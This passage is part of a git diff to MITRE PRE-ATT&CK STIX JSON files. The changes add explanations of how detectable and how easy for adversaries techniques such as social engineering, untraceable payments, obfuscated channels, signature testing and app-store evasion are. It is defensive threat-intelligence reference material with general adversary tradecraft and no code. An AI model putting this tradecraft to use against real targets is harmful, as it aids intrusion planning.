+            "x_mitre_difficulty_for_adversary_explanation": "This likely requires the adversary to have close or insider access to introduce the mechanism of compromise."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--b355817c-cf63-43b4-94a4-05e9645fa910.json b/pre-attack/attack-pattern/attack-pattern--b355817c-cf63-43b4-94a4-05e9645fa910.json
index 71ee209260..29dfc15d17 100644
--- a/pre-attack/attack-pattern/attack-pattern--b355817c-cf63-43b4-94a4-05e9645fa910.json
+++ b/pre-attack/attack-pattern/attack-pattern--b355817c-cf63-43b4-94a4-05e9645fa910.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--555afcb9-acf9-4473-beef-2f27140833c3",
+    "id": "bundle--a8c91e47-1b5b-4942-b49d-f559238ddd8e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--b355817c-cf63-43b4-94a4-05e9645fa910",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Create implementation plan",
-            "description": "Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--b3f36317-3940-4d71-968f-e11ac1bf6a31.json b/pre-attack/attack-pattern/attack-pattern--b3f36317-3940-4d71-968f-e11ac1bf6a31.json
index 708d9af251..a62d3b09d7 100644
--- a/pre-attack/attack-pattern/attack-pattern--b3f36317-3940-4d71-968f-e11ac1bf6a31.json
+++ b/pre-attack/attack-pattern/attack-pattern--b3f36317-3940-4d71-968f-e11ac1bf6a31.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8d8137a0-a7f9-4407-bca2-a00efd61b517",
+    "id": "bundle--77a3b37c-aef8-4330-b976-feea1ae621bb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--b3f36317-3940-4d71-968f-e11ac1bf6a31",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Aggregate individual's digital footprint",
-            "description": "In addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email.  An adversary familiar with a target's username can mine to determine the target's larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "In addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email.  An adversary familiar with a target's username can mine to determine the target's larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Information readily available through searches",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Information readily available through searches"
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--b79a1960-d0be-4b51-bb62-b27e91e1dea0.json b/pre-attack/attack-pattern/attack-pattern--b79a1960-d0be-4b51-bb62-b27e91e1dea0.json
index 74636833be..095cfd9ed5 100644
--- a/pre-attack/attack-pattern/attack-pattern--b79a1960-d0be-4b51-bb62-b27e91e1dea0.json
+++ b/pre-attack/attack-pattern/attack-pattern--b79a1960-d0be-4b51-bb62-b27e91e1dea0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--28fa5910-d86d-4f06-8915-8b2ff666c233",
+    "id": "bundle--afb83b6a-1e51-4d87-9668-815c15dc9644",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--b79a1960-d0be-4b51-bb62-b27e91e1dea0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Conduct social engineering or HUMINT operation",
-            "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Assuming an average company does not train its employees to be aware of social engineering techniques, it is not possible to detect the adversary's use unless a highly motivated or paranoid employee informs security.  This assessment flips to a 1 in cases of environments where security trains employees to be vigilant or in specialized industries where competitive intelligence and business intelligence train employees to be highly aware.  Most likely more complex for an adversary to detect as methods move to physical or non traditionally monitored mechanisms (such as phone calls outside of call centers).  Furthermore, the content of such an interaction may be lost due to lack of collection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Assuming an average adversary whose focus is social engineering, it is not difficult for an adversary.  Assuming a HUMINT operation and specialized circumstances, the adversary difficulty becomes 1.   Social engineering can be easily done remotely via email or phone.  In contrast, HUMINT operations typically would require physical contact at some point in the process, increasing the difficulty.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Assuming an average company does not train its employees to be aware of social engineering techniques, it is not possible to detect the adversary's use unless a highly motivated or paranoid employee informs security.  This assessment flips to a 1 in cases of environments where security trains employees to be vigilant or in specialized industries where competitive intelligence and business intelligence train employees to be highly aware.  Most likely more complex for an adversary to detect as methods move to physical or non traditionally monitored mechanisms (such as phone calls outside of call centers).  Furthermore, the content of such an interaction may be lost due to lack of collection.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Assuming an average adversary whose focus is social engineering, it is not difficult for an adversary.  Assuming a HUMINT operation and specialized circumstances, the adversary difficulty becomes 1.   Social engineering can be easily done remotely via email or phone.  In contrast, HUMINT operations typically would require physical contact at some point in the process, increasing the difficulty."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--b79e8a3f-a109-47c2-a0e3-564955590a3d.json b/pre-attack/attack-pattern/attack-pattern--b79e8a3f-a109-47c2-a0e3-564955590a3d.json
index 9933a7a918..103b1c2e2a 100644
--- a/pre-attack/attack-pattern/attack-pattern--b79e8a3f-a109-47c2-a0e3-564955590a3d.json
+++ b/pre-attack/attack-pattern/attack-pattern--b79e8a3f-a109-47c2-a0e3-564955590a3d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9e7f5944-e146-45a9-8d91-e457d02379e5",
+    "id": "bundle--a58f7db9-cf6f-4d70-8fe7-16a941a2a020",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--b79e8a3f-a109-47c2-a0e3-564955590a3d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Non-traditional or less attributable payment options",
-            "description": "Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender likely will not have access to payment information.  Monitoring crypto-currency or barter boards is resource intensive and not fully automatable.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy to use pre-paid cards or shell accounts to pay for services online.  Crypto currencies and barter systems can avoid use of trace-able bank or credit apparatus.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender likely will not have access to payment information.  Monitoring crypto-currency or barter boards is resource intensive and not fully automatable.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Easy to use pre-paid cards or shell accounts to pay for services online.  Crypto currencies and barter systems can avoid use of trace-able bank or credit apparatus."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--b9148981-152a-4a19-95c1-962803f5c9af.json b/pre-attack/attack-pattern/attack-pattern--b9148981-152a-4a19-95c1-962803f5c9af.json
index 0ad46447a1..795242fd0b 100644
--- a/pre-attack/attack-pattern/attack-pattern--b9148981-152a-4a19-95c1-962803f5c9af.json
+++ b/pre-attack/attack-pattern/attack-pattern--b9148981-152a-4a19-95c1-962803f5c9af.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c9c3d921-5959-4bcb-8a1d-b170f2a19a5c",
+    "id": "bundle--9e5526f4-875d-47e8-a604-fe1dab549cce",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--b9148981-152a-4a19-95c1-962803f5c9af",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine secondary level tactical element",
-            "description": "The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack.  Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack.  Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -44,7 +44,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--b93bd611-da4e-4c84-a40f-325b712bed67.json b/pre-attack/attack-pattern/attack-pattern--b93bd611-da4e-4c84-a40f-325b712bed67.json
index 592a7b6693..ab0ce85ef2 100644
--- a/pre-attack/attack-pattern/attack-pattern--b93bd611-da4e-4c84-a40f-325b712bed67.json
+++ b/pre-attack/attack-pattern/attack-pattern--b93bd611-da4e-4c84-a40f-325b712bed67.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--44168507-8b9d-47e0-839c-9bec4b9d509e",
+    "id": "bundle--735c3481-bf7e-4ab3-98ff-18afe1e5de4f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--b93bd611-da4e-4c84-a40f-325b712bed67",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Task requirements",
-            "description": "Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -36,7 +36,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--c2ffd229-11bb-4fd8-9208-edbe97b14c93.json b/pre-attack/attack-pattern/attack-pattern--c2ffd229-11bb-4fd8-9208-edbe97b14c93.json
index 75edca99c1..38c4cb64e4 100644
--- a/pre-attack/attack-pattern/attack-pattern--c2ffd229-11bb-4fd8-9208-edbe97b14c93.json
+++ b/pre-attack/attack-pattern/attack-pattern--c2ffd229-11bb-4fd8-9208-edbe97b14c93.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2ce9daeb-1029-4994-8c61-8ce7d398fba0",
+    "id": "bundle--5c6fe5b0-4493-4a32-b79c-5585dad6b9f0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--c2ffd229-11bb-4fd8-9208-edbe97b14c93",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obfuscation or cryptography",
-            "description": "Obfuscation is the act of creating communications that are more difficult to understand.  Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Obfuscation is the act of creating communications that are more difficult to understand.  Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Techniques and signatures are hard to detect. Advanced communications and exfiltration channels are nearly indistinguishable from background noise.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Known approaches include the use of cryptography for communications, rotating drops sites (such as random list of chat fora), and one-time [https://aws.amazon.com/s3/ Simple Storage Service (S3)] buckets, etc.  All require sophisticated knowledge, infrastructure, and funding.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Techniques and signatures are hard to detect. Advanced communications and exfiltration channels are nearly indistinguishable from background noise.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Known approaches include the use of cryptography for communications, rotating drops sites (such as random list of chat fora), and one-time [https://aws.amazon.com/s3/ Simple Storage Service (S3)] buckets, etc.  All require sophisticated knowledge, infrastructure, and funding."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84.json b/pre-attack/attack-pattern/attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84.json
index 24eb6832f4..d7f409571e 100644
--- a/pre-attack/attack-pattern/attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84.json
+++ b/pre-attack/attack-pattern/attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--45653d6a-6d0f-4f2a-9fdd-3825f0272cf8",
+    "id": "bundle--da3935fd-a7e8-48fc-b535-d4197378385c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Identify job postings and needs/gaps",
-            "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary  information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary  information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Impossible to differentiate between an adversary and a normal user when accessing open/public information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Publicly posted information by design.  Providing too much detail in the job posting could aid the adversary in learning more about the target's environment and possible technical weaknesses/deficiencies.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Impossible to differentiate between an adversary and a normal user when accessing open/public information.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Publicly posted information by design.  Providing too much detail in the job posting could aid the adversary in learning more about the target's environment and possible technical weaknesses/deficiencies."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--c860af4a-376e-46d7-afbf-262c41012227.json b/pre-attack/attack-pattern/attack-pattern--c860af4a-376e-46d7-afbf-262c41012227.json
index 2b0e0ad249..f2613ec02e 100644
--- a/pre-attack/attack-pattern/attack-pattern--c860af4a-376e-46d7-afbf-262c41012227.json
+++ b/pre-attack/attack-pattern/attack-pattern--c860af4a-376e-46d7-afbf-262c41012227.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--14667d86-a566-4af1-87b8-bd1946f13096",
+    "id": "bundle--7a390a4c-7f20-4828-87fe-6e8267ce8bde",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--c860af4a-376e-46d7-afbf-262c41012227",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Determine operational element",
-            "description": "If going from strategic down to tactical or vice versa, an  adversary would next consider the operational element.  For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "If going from strategic down to tactical or vice versa, an  adversary would next consider the operational element.  For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -44,7 +44,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  May change for special use cases or adversary and defender overlays.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--c9ac5715-ee5c-4380-baf4-6f12e304ca93.json b/pre-attack/attack-pattern/attack-pattern--c9ac5715-ee5c-4380-baf4-6f12e304ca93.json
index a37060cd61..e79b8592ed 100644
--- a/pre-attack/attack-pattern/attack-pattern--c9ac5715-ee5c-4380-baf4-6f12e304ca93.json
+++ b/pre-attack/attack-pattern/attack-pattern--c9ac5715-ee5c-4380-baf4-6f12e304ca93.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4d630fc1-27c9-4848-8967-6b41448c9ce3",
+    "id": "bundle--ac4489db-9b1b-4a96-a82b-a48687cc3719",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--c9ac5715-ee5c-4380-baf4-6f12e304ca93",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Test signature detection for file upload/email filters",
-            "description": "An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Use of sites like [https://www.virustotal.com VirusTotal] to test signature detection often occurs to test detection.  Defender can also look for newly added uploads as a precursor to an adversary's launch of an attack.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Current open source technologies and websites exist to facilitate adversary testing of malware against signatures.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -32,7 +32,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Use of sites like [https://www.virustotal.com VirusTotal] to test signature detection often occurs to test detection.  Defender can also look for newly added uploads as a precursor to an adversary's launch of an attack.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Current open source technologies and websites exist to facilitate adversary testing of malware against signatures."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--c9e85b80-39e8-42df-b275-86a2afcea9e8.json b/pre-attack/attack-pattern/attack-pattern--c9e85b80-39e8-42df-b275-86a2afcea9e8.json
index b274a848f4..ba88e776ba 100644
--- a/pre-attack/attack-pattern/attack-pattern--c9e85b80-39e8-42df-b275-86a2afcea9e8.json
+++ b/pre-attack/attack-pattern/attack-pattern--c9e85b80-39e8-42df-b275-86a2afcea9e8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7f968505-38ca-4cc8-b562-86ccee8120f3",
+    "id": "bundle--c07b6d69-da2f-4a55-8fe4-7dc1510a37f5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--c9e85b80-39e8-42df-b275-86a2afcea9e8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Test ability to evade automated mobile application security analysis performed by app stores",
-            "description": "Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The app store operators (e.g., Apple and Google) may detect the attempts, but it would not be observable to those being attacked.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can submit code remotely using throwaway accounts, although a registration fee may need to be paid for each new account (e.g., $99 for Apple and $25 for Google Play Store).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -44,7 +44,9 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "The app store operators (e.g., Apple and Google) may detect the attempts, but it would not be observable to those being attacked.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "An adversary can submit code remotely using throwaway accounts, although a registration fee may need to be paid for each new account (e.g., $99 for Apple and $25 for Google Play Store)."
         }
     ]
 }
\ No newline at end of file
diff --git a/pre-attack/attack-pattern/attack-pattern--c9fb4451-729d-4771-b205-52c1829f949c.json b/pre-attack/attack-pattern/attack-pattern--c9fb4451-729d-4771-b205-52c1829f949c.json
index 03223dd82d..dff16f794e 100644
--- a/pre-attack/attack-pattern/attack-pattern--c9fb4451-729d-4771-b205-52c1829f949c.json
+++ b/pre-attack/attack-pattern/attack-pattern--c9fb4451-729d-4771-b205-52c1829f949c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3d64216d-608d-42dc-bb0c-59e3eff6c654",
+    "id": "bundle--86742d4d-2c4b-49e2-b3a4-85ce977342cc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
